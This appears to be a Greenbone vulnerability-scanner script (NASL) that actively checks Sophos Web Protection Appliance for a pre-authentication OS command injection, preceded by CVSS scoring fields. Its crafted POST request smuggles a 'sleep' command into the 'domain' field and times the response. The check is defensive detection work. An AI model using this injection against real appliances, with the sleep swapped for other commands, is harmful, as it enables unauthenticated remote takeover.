CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
AI Score
Confidence
Low
EPSS
Percentile
99.4%
Sophos Web Protection Appliance is prone to multiple
vulnerabilities.
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
CPE = "cpe:/a:sophos:web_appliance";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.103781");
script_version("2023-04-05T10:19:45+0000");
script_tag(name:"last_modification", value:"2023-04-05 10:19:45 +0000 (Wed, 05 Apr 2023)");
script_tag(name:"creation_date", value:"2013-09-09 14:28:20 +0200 (Mon, 09 Sep 2013)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2013-4983", "CVE-2013-4984");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Sophos Web Protection Appliance Multiple Vulnerabilities (Jul 2013) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2013 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_sophos_web_appliance_http_detect.nasl");
script_require_ports("Services/www", 443);
script_mandatory_keys("sophos/web_appliance/http/detected");
script_tag(name:"summary", value:"Sophos Web Protection Appliance is prone to multiple
vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP POST requests and checks the responses.");
script_tag(name:"insight", value:"Sophos Web Protection Appliance is prone to a
pre-authentication OS command injection vulnerability and to a privilege escalation through local
OS command injection vulnerability.");
script_tag(name:"impact", value:"An unauthenticated remote attacker can execute arbitrary OS
commands on the Sophos appliance with the privileges of the spiderman operating system user.");
script_tag(name:"affected", value:"Sophos Web Appliance versions 3.7.9 and earlier and 3.8.0
through 3.8.1 are known to be affected. Other versions might be affected as well.");
script_tag(name:"solution", value:"Update to version 3.7.9.1, 3.8.1.1 or later.");
script_xref(name:"URL", value:"http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
host = http_host_name( port:port );
sleep = make_list( 3, 5, 8 );
foreach i( sleep ) {
ex = "url=aHR0cDovL29wZW52YXMub3JnCg%3d%3d&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo" +
"&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.org%3bsleep%20" + i +
"&raw_category_id=one%7ctwo%7cthree%7cfour";
len = strlen( ex );
req = 'POST /end-user/index.php?c=blocked&action=continue HTTP/1.1\r\n' +
'Host: ' + host + '\r\n' +
'Content-Type: application/x-www-form-urlencoded\r\n' +
'Content-Length: ' + len + '\r\n' +
'Connection: close\r\n' +
'\r\n' +
ex;
start = unixtime();
buf = http_keepalive_send_recv( port:port, data:req );
stop = unixtime();
if( "example.org" >!< buf )
exit( 0 );
if( stop - start < i || stop - start > ( i + 5 ) )
exit( 99 );
}
report = "The response times indicate that an OS command injection of the 'sleep()` command could be executed.";
security_message( port:port, data:report );
exit( 0 );